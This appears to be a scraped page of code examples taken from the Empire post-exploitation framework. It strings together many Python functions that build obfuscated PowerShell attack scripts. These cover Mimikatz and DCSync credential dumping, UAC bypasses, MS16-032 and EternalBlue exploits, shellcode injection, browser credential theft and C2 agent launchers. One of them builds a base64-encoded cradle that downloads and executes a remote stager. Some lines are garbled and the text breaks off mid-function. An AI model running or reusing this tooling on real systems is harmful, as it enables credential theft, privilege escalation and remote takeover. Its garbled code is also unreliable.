Exemplo n.º 1
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/privesc/Invoke-MS16032.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        # generate the launcher code without base64 encoding
        listener_name = params['Listener']
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']

        # generate the PowerShell one-liner with all of the proper options set
        launcher = main_menu.stagers.generate_launcher(listener_name,
                                                       language='powershell',
                                                       encode=False,
                                                       userAgent=user_agent,
                                                       proxy=proxy,
                                                       proxyCreds=proxy_creds)
        # need to escape characters
        launcher_code = launcher.replace("`", "``").replace("$", "`$").replace(
            "\"", "'")

        script_end = 'Invoke-MS16-032 "' + launcher_code + '"'
        script_end += ';"`nInvoke-MS16032 completed."'

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 2
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code, obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = ""
        if params['Method'].lower() == "sekurlsa":
            script_end += "Invoke-Mimikatz -Command '\"sekurlsa::trust\"'"
        else:
            script_end += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'"

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 3
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        list_computers = params["IPs"]

        # read in the common powerview.ps1 module source code
        module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end += "\n" + """$Servers = Get-DomainComputer | ForEach-Object {try{Resolve-DNSName $_.dnshostname -Type A -errorAction SilentlyContinue}catch{Write-Warning 'Computer Offline or Not Responding'} } | Select-Object -ExpandProperty IPAddress -ErrorAction SilentlyContinue; $count = 0; $subarry =@(); foreach($i in $Servers){$IPByte = $i.Split("."); $subarry += $IPByte[0..2] -join"."} $final = $subarry | group; Write-Output{The following subnetworks were discovered:}; $final | ForEach-Object {Write-Output "$($_.Name).0/24 - $($_.Count) Hosts"}; """

        if list_computers.lower() == "true":
            script_end += "$Servers;"

        for option, values in params.items():
            if option.lower() != "agent" and option.lower(
            ) != "outputfunction":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script_end += " -" + str(option)
                    else:
                        script_end += " -" + str(option) + " " + str(values)

        outputf = params.get("OutputFunction", "Out-String")
        script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(
            module.name.split("/")[-1]) + ' completed!"'

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code,
                                         obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        # build the custom command with whatever options we want
        command = f'"sid::add /sam:{params["User"]} /new:{params["Group"]}"'
        command = f"-Command '{command}'"
        if params.get("ComputerName"):
            command = f'{command} -ComputerName "{params["ComputerName"]}"'
        # base64 encode the command to pass to Invoke-Mimikatz
        script_end = f"Invoke-Mimikatz {command};"

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 5
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        module_source = main_menu.installPath + "/data/module_source/situational_awareness/host/Invoke-Seatbelt.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code
        script_end = 'Invoke-Seatbelt -Command "'

        # Add any arguments to the end execution of the script
        if params['Command']:
            script_end += " " + str(params['Command'])
        if params['Group']:
            script_end += " -group=" + str(params['Group'])
        if params['Computername']:
            script_end += " -computername=" + str(params['Computername'])
        if params['Username']:
            script_end += " -username="******" -password="******" -full"
        if params['Quiet'].lower() == 'true':
            script_end += " -q"

        script_end = script_end.replace('" ', '"')
        script_end += '"'

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 6
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/credentials/Invoke-TokenManipulation.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code,
                                         obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = "Invoke-TokenManipulation"

        outputf = params.get("OutputFunction", "Out-String")

        if params['RevToSelf'].lower() == "true":
            script_end += " -RevToSelf"
        elif params['WhoAmI'].lower() == "true":
            script_end += " -WhoAmI"
        elif params['ShowAll'].lower() == "true":
            script_end += " -ShowAll"
            script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(module.name.split("/")[-1]) + ' completed!"'
        else:
            for option, values in params.items():
                if option.lower() != "agent" and option.lower() != "outputfunction":
                    if values and values != '':
                        if values.lower() == "true":
                            # if we're just adding a switch
                            script_end += " -" + str(option)
                        else:
                            script_end += " -" + str(option) + " " + str(values)

            # try to make the output look nice
            if script.endswith("Invoke-TokenManipulation") or script.endswith("-ShowAll"):
                script_end += "| Select-Object Domain, Username, ProcessId, IsElevated, TokenType | ft -autosize"
                script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(module.name.split("/")[-1]) + ' completed!"'
            else:
                script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(module.name.split("/")[-1]) + ' completed!"'
                if params['RevToSelf'].lower() != "true":
                    script_end += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"'

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 7
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # Set booleans to false by default
        obfuscate = False

        listenerName = params['Listener']

        # staging options
        userAgent = params['UserAgent']

        proxy = params['Proxy']
        proxyCreds = params['ProxyCreds']
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        ObfuscateCommand = params['ObfuscateCommand']

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/privesc/Invoke-EventVwrBypass.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code, obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        if not main_menu.listeners.is_listener_valid(listenerName):
            # not a valid listener, return nothing for the script
            return handle_error_message("[!] Invalid listener: " + listenerName)
        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = main_menu.stagers.generate_launcher(listenerName, language='powershell', encode=True,
                                                           obfuscate=obfuscate,
                                                           obfuscationCommand=ObfuscateCommand, userAgent=userAgent,
                                                           proxy=proxy,
                                                           proxyCreds=proxyCreds, bypasses=params['Bypasses'])

            encScript = launcher.split(" ")[-1]
            if launcher == "":
                return handle_error_message("[!] Error in launcher generation.")
            else:
                script_end = "Invoke-EventVwrBypass -Command \"%s\"" % (encScript)

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 8
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # First method: Read in the source script from module_source
        module_source = main_menu.installPath + "/data/module_source/collection/Invoke-WireTap.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = 'Invoke-WireTap -Command "'

        # Add any arguments to the end execution of the script
        for option, values in params.items():
            if option.lower() != "agent":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script_end += str(option)
                    elif option.lower() == "time":
                        # if we're just adding a switch
                        script_end += " " + str(values)
                    else:
                        script_end += " " + str(option) + " " + str(values)
        script_end += '"'

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 9
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/collection/Out-Minidump.ps1"

        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = ""
        for option, values in params.items():
            if option.lower() != "agent":
                if values and values != '':
                    if option == "ProcessName":
                        script_end = "Get-Process " + values + " | Out-Minidump"
                    elif option == "ProcessId":
                        script_end = "Get-Process -Id " + values + " | Out-Minidump"

        for option, values in params.items():
            if values and values != '':
                if option != "Agent" and option != "ProcessName" and option != "ProcessId":
                    script_end += " -" + str(option) + " " + str(values)

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        username = params['Username']
        password = params['Password']
        instance = params['Instance']
        check_all = params['CheckAll']

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code,
                                         obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        if check_all:
            module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
            if obfuscate:
                data_util.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscation_command)
                module_source = module_source.replace("module_source", "obfuscated_module_source")
            try:
                with open(module_source, 'r') as auxSource:
                    aux_script = auxSource.read()
                    script += " " + aux_script
            except:
                print(helpers.color("[!] Could not read additional module source path at: " + str(module_source)))
            script_end = " Get-SQLInstanceDomain "
            if username != "":
                script_end += " -Username "+username
            if password != "":
                script_end += " -Password "+password
            script_end += " | Select Instance | "
        script_end += " Get-SQLServerLoginDefaultPw"
        if instance != "" and not check_all:
            script_end += " -Instance "+instance
        # Get the random function name generated at install and patch the stager with the proper function name

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        stager = params['Stager']
        host = params['Host']
        userAgent = params['UserAgent']
        port = params['Port']

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/privesc/Invoke-BypassUACTokenManipulation.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code,
                                         obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        try:
            blank_command = ""
            powershell_command = ""
            encoded_cradle = ""
            cradle = "IEX \"(new-object net.webclient).downloadstring('%s:%s/%s')\"|IEX" % (host, port, stager)
            # Remove weird chars that could have been added by ISE
            n = re.compile(u'(\xef|\xbb|\xbf)')
            # loop through each character and insert null byte
            for char in (n.sub("", cradle)):
                # insert the nullbyte
                blank_command += char + "\x00"
            # assign powershell command as the new one
            powershell_command = blank_command
            # base64 encode the powershell command

            encoded_cradle = base64.b64encode(powershell_command)

        except Exception as e:
            pass

        script_end = "Invoke-BypassUACTokenManipulation -Arguments \"-w 1 -enc %s\"" % (encoded_cradle)

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 12
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/exploitation/Exploit-EternalBlue.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end += "\nInvoke-EternalBlue "

        for key, value in params.items():
            if value != '':
                if key.lower() == "shellcode":
                    # transform the shellcode to the correct format
                    script_end += " -" + str(key) + " @(" + str(value) + ")"
                else:
                    script_end += " -" + str(key) + " " + str(value)

        script_end += "; 'Exploit complete'"

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 13
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/code_execution/Invoke-Bof.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        with open(f"{ main_menu.installPath }/downloads/{ params['File'] }",
                  'rb') as data:
            bof_data = data.read()
        bof_data = base64.b64encode(bof_data).decode('utf-8')

        script_end = f"$bofbytes = [System.Convert]::FromBase64String('{ bof_data }');"
        script_end += f"\nInvoke-Bof -BOFBytes $bofbytes -EntryPoint { params['EntryPoint'] }"

        if params['ArguementList'] != "":
            script_end += f" -ArgumentList { params['ArguementList'] }"

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/code_execution/Invoke-ShellcodeMSIL.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = "Invoke-ShellcodeMSIL"

        for option, values in params.items():
            if option.lower() != "agent":
                if values and values != '':
                    if option.lower() == "shellcode":
                        # transform the shellcode to the correct format
                        sc = ",0".join(values.split("\\"))[1:]
                        script_end += " -" + str(option) + " @(" + sc + ")"

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(
            main_menu,
            module: PydanticModule,
            params: Dict,
            obfuscate: bool = False,
            obfuscation_command: str = ""
    ) -> Tuple[Optional[str], Optional[str]]:
        # extract all of our options
        listener_name = params['Listener']

        if listener_name not in main_menu.listeners.activeListeners:
            return handle_error_message("[!] Listener '%s' doesn't exist!" %
                                        (listener_name))

        active_listener = main_menu.listeners.activeListeners[listener_name]
        listener_options = active_listener['options']

        script = main_menu.listeners.loadedListeners[
            active_listener['moduleName']].generate_comms(
                listenerOptions=listener_options, language='powershell')

        # signal the existing listener that we're switching listeners, and the new comms code
        script = "Send-Message -Packets $(Encode-Packet -Type 130 -Data '%s');\n%s" % (
            listener_name, script)

        if main_menu.obfuscate:
            script = data_util.obfuscate(
                main_menu.installPath,
                psScript=script,
                obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        module_source = main_menu.installPath + "/data/module_source/collection/Get-SharpChromium.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code, obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = " Get-SharpChromium"

        #check type
        if params['Type'].lower() not in ['all','logins','history','cookies']:
            print(helpers.color("[!] Invalid value of Type, use default value: all"))
            params['Type']='all'
        script_end += " -Type "+params['Type']
        #check domain
        if params['Domains'].lower() != '':
            if params['Type'].lower() != 'cookies':
                print(helpers.color("[!] Domains can only be used with Type cookies"))
            else:
                script_end += " -Domains ("
                for domain in params['Domains'].split(','):
                    script_end += "'" + domain + "',"
                script_end = script_end[:-1]
                script_end += ")"

        outputf = params.get("OutputFunction", "Out-String")
        script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(module.name.split("/")[-1]) + ' completed!"'

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 17
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # Set booleans to false by default
        obfuscate = False

        # extract all of our options
        listener_name = params['Listener']
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']
        sys_wow64 = params['SysWow64']

        # staging options
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        obfuscate_command = params['ObfuscateCommand']

        # generate the launcher script
        launcher = main_menu.stagers.generate_launcher(
            listener_name,
            language='powershell',
            encode=True,
            obfuscate=obfuscate,
            obfuscationCommand=obfuscate_command,
            userAgent=user_agent,
            proxy=proxy,
            proxyCreds=proxy_creds,
            bypasses=params['Bypasses'])

        if launcher == "":
            return handle_error_message(
                "[!] Error in launcher command generation.")
        else:
            # transform the backdoor into something launched by powershell.exe
            # so it survives the agent exiting
            if sys_wow64.lower() == "true":
                stager_code = "$Env:SystemRoot\\SysWow64\\WindowsPowershell\\v1.0\\" + launcher
            else:
                stager_code = "$Env:SystemRoot\\System32\\WindowsPowershell\\v1.0\\" + launcher

            parts = stager_code.split(" ")

            script = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (
                parts[0], " ".join(parts[1:]), listener_name)

        if main_menu.obfuscate:
            script = data_util.obfuscate(
                main_menu.installPath,
                psScript=script,
                obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 18
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/credentials/Invoke-DCSync.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code,
                                         obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = "Invoke-DCSync -PWDumpFormat "

        if params["Domain"] != '':
            script_end += " -Domain " + params['Domain']

        if params["Forest"] != '':
            script_end += " -DumpForest "

        if params["Computers"] != '':
            script_end += " -GetComputers "

        if params["Active"] == '':
            script_end += " -OnlyActive:$false "

        outputf = params.get("OutputFunction", "Out-String")
        script_end += f" | {outputf};"

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 19
0
    def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""):
        """
        Generate the full agent code needed for communications with this listener.
        """

        if not language:
            print(helpers.color('[!] listeners/http_com generate_agent(): no language specified!'))
            return None

        language = language.lower()
        delay = listenerOptions['DefaultDelay']['Value']
        jitter = listenerOptions['DefaultJitter']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        lostLimit = listenerOptions['DefaultLostLimit']['Value']
        killDate = listenerOptions['KillDate']['Value']
        b64DefaultResponse = base64.b64encode(self.default_response().encode('UTF-8'))

        if language == 'powershell':

            f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
            code = f.read()
            f.close()

            # Get the random function name generated at install and patch the stager with the proper function name
            code = data_util.keyword_obfuscation(code)

            # patch in the comms methods
            commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
            code = code.replace('REPLACE_COMMS', commsCode)

            # strip out comments and blank lines
            code = helpers.strip_powershell_comments(code)

            # patch in the delay, jitter, lost limit, and comms profile
            code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
            code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
            code = code.replace(
                '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
                "$Profile = \"" + str(profile) + "\"")
            code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
            # code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64DefaultResponse+'"')
            code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "' + str(b64DefaultResponse) + '"')

            # patch in the killDate and workingHours if they're specified
            if killDate != "":
                code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
            if obfuscate:
                code = data_util.obfuscate(self.mainMenu.installPath, code, obfuscationCommand=obfuscationCommand)
            return code

        else:
            print(helpers.color(
                "[!] listeners/http_com generate_agent(): invalid language specification, only 'powershell' is currently supported for this module."))
Exemplo n.º 20
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):

        script = "(New-Object System.Security.Principal.NTAccount(\"%s\",\"%s\")).Translate([System.Security.Principal.SecurityIdentifier]).Value" % (
            params['Domain'], params['User'])

        if main_menu.obfuscate:
            script = data_util.obfuscate(
                main_menu.installPath,
                psScript=script,
                obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 21
0
    def get_module_source(
            self,
            module_name: str,
            obfuscate: bool = False,
            obfuscate_command: str = ""
    ) -> Tuple[Optional[str], Optional[str]]:
        """
        Get the obfuscated/unobfuscated module source code.
        """
        try:
            if obfuscate:
                obfuscated_module_source = empire_config.yaml.get(
